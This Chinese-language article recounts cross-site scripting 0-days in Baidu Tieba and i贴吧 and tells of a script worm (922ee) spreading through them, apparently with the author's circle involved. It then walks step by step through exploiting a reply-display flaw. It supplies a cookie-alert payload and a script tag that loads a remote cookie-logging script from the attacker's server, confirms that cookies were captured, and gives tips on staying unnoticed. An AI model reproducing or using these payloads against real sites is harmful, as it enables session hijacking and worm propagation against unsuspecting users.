经常逛百度贴吧的读者们可能知道,百度在去年 12月31号晚和1月 1号晚一共爆出了3大0day跨站漏洞,都是高危级别的,2个 bug是和小游戏有关的,剩下一个是与贴吧中显示的会员徽章有关。
在说本文的 0day前,我们先来看看之前的3个 bug是怎么被发现和利用的。
首先是前 2个bug,在去年 12月 31号下午的时候,小游戏提交分数的算法首先被我的一个朋友反编译出来,并翻译成 vbs脚本语言,随之而来的是Chrome浏览器插件,可以直接写你想要的分数。
接着,我看到了有-1分,本着好奇心,笔者尝试使用公开的vbs脚本提交了一串英文,想不到居然成功提交了,并且出现在 i贴吧上:
理应显示数值的地方居然可以显示英文,我对百度的工作人员制作数据库的能力表示极大的怀疑。紧接着,是笔者的另外一个朋友,看到我的显摆后立刻尝试输入 <script>标签,没错,脚本被执行了!可惜这个漏洞暴露的太快,很快就被百度的工作人员修复了,不能提交非数字字符了。就在其以为没有问题后,其实为小游戏显摆的第 2个bug的爆发给足了充分的准备时间。
在同一个地方,除了分数显示上有问题外,在前面的贴吧名称的显示上也存在着问题。
可能是由于这个小游戏能在小游戏吧和黄金矿工吧上玩,所以百度显摆游戏成绩的时候还要提交贴吧的名称,这时,我们试着提交了“</a><script>alert(“xxx”); </script><a href=”xxx”>黄金矿工”这样的贴吧名称,没错,有弹框跳出来,立刻删掉,去做充分的准备了。
接下来的事大家都知道了,就是在 1月1号晚上爆发了922ee病毒,因为都是最高分,我们从黄金矿工的排名上可以看出,每秒有 400多人的感染速度,这个是相当可怕的(922ee脚本病毒的代码见附件)。
同一天晚上暴露的另外一个跨站漏洞就是会员徽章的 bug,由于准备不够充分,被另外一个人泄露出去了,所以没有怎么利用,不过那次可谓是“全民”使用漏洞!由于会员徽章是在头像附近的,所以几乎所有看到使用方法的都去尝试使用这个漏洞,那时间百度贴吧弹框不断啊!
更有趣的是百度在1月 6号的更新了一次贴吧版本,居然把以前已经修复的会员徽章bug的又爆出来了,不过这次很速度的在1小时左右就修复了,看来曾经的补丁只是临时的,更新后没有把修正的补丁也弄上去。
之前的3大漏洞就介绍到这里,另外值得一提的是,其实投票系统在 4号之前也有个0day的漏洞,在投票选项中写入HTML代码居然没有过滤,直接被写入了网页代码,如图
可惜不知为什么不能直接执行 script代码,但是我们兴许可能使用Cross Iframe Trick的方法来突破 iframe的限制。(现在百度在贴吧中已经修复,不过在笔者投稿的时间的时候,i贴吧的投票系统的bug依然存在)现在我们就来说说这次的漏洞吧,不过我事先要先申明,请不要利用该漏洞做违反法律法规的事哦~这个漏洞只供大家技术上研究。研究的时候请尽量保持低调,最好在有吧主权限的贴吧使用,这样研究完后可以方便的清除痕迹。
首先我们要准备 2个账号,一个为受影响的账号(1号),一个为攻击账号(2号)。
这里笔者推荐大家使用 Chrome浏览器,它可以方便的调试网页代码。
先来说说原理吧,这次的 0day漏洞一样出在i贴吧上,看来百度没有做好测试工作就迫不及待放出了 i贴吧。
由于百度 i贴吧的机制类似与微博,会显示关注的发言回复等等数据和自己收到的回复。
问题就出现在显示自己收到的回复上,i贴吧不像贴吧上回复发帖显示的过滤都做得很严密,它会把部分回复显示在 i贴吧中,这时,如果是使用HTML代码回复的,在贴吧中看不出什么,代码也不会被执行,但是在 i贴吧中就不一样了,它对一部分文本不做任何的处理就直接 write到网页上了,这就出现跨站漏洞了!我们接下的的事就是去仔细研究它了。
首先,我们使用 1号账号先发个帖,这是为了方便攻击做的准备(我们可以使用2个浏览器,这样会方便很多)。然后用 2号先随便回复一点东西(这是测试,可以不回直接到第二步),看,1号账号的用户栏下出现了一个新回复的提示:
我相信经常使用百度贴吧的用户是不会对这个提示视而不见的。
第二步,我们用精心设计好的脚本代码回复 1号,为了方便起见,我们就用如下代码测试吧:
<script>alert(document.cookie);</script>
由于百度 i贴吧显示的时候会在其上加上超链接,所以我们最好用</a>来关闭超链接:
</a><script>alert(document.cookie);</script><a>
回帖,要保证最后回复的内容是这个代码才有效的,因为 i贴吧中只显示最后回复。
这时,我们的 2号账号的操作已经算完成了,等着1号账号查看回复就好了!点进 1号账号的i贴吧中的回复我的:
看,出现了对话框了,而注意网页正好加载到回复的引号后面,正是显示我们的代码的地方。再看网页源代码:
确实我们回帖的内容被写入了网页。
现在,我们就尝试的加载脚本文件,相信下面的代码读者们都已经很熟悉了吧:
<scriptsrc=”http://xxx”></script>
将其中的 http://xxx换成我们的脚本文件地址就好了,这里笔者测试使用的是记录Cookies的脚本文件。
由于是回帖我们还是加上</a>和<a>来回帖吧!
回帖后帖子内部虽然是被编码过的,但是不用担心,1号账号还查看回复呢!
转到 1号账号中i贴吧的的回复我的页面,果然,回复那里引号中是网页上显示的内容是空的,使用 Chrome的话直接在引号处点击右键,选审查元素,就可以直接转到鼠标右击位置的源代码:
看到了吧,代码被插入了!
再看看我们的服务器上的文件:
Cookie被记录到了,说明我们的代码被正确执行了!
说到这里我相信读者们已经明白是怎么一回事了吧。另外,由于百度的防御体系问题,发出去带不明链接的帖子、回复可能会被删除,但是 i贴吧中还是会显示最后回复,不管有没有被删,这种机制反而能起到隐藏攻击的作用,这就叫聪明反被聪明误吗?
最近百度暴露出的漏洞都是些高危漏洞,作为一个网站开发人员,特别是这种互交性很强的网站,这些问题都是值得我们借鉴的,我们要尽可能不在网站的任何一处出现高危漏洞,以防止被攻击者利用,来挂马,成为传播病毒的摇篮。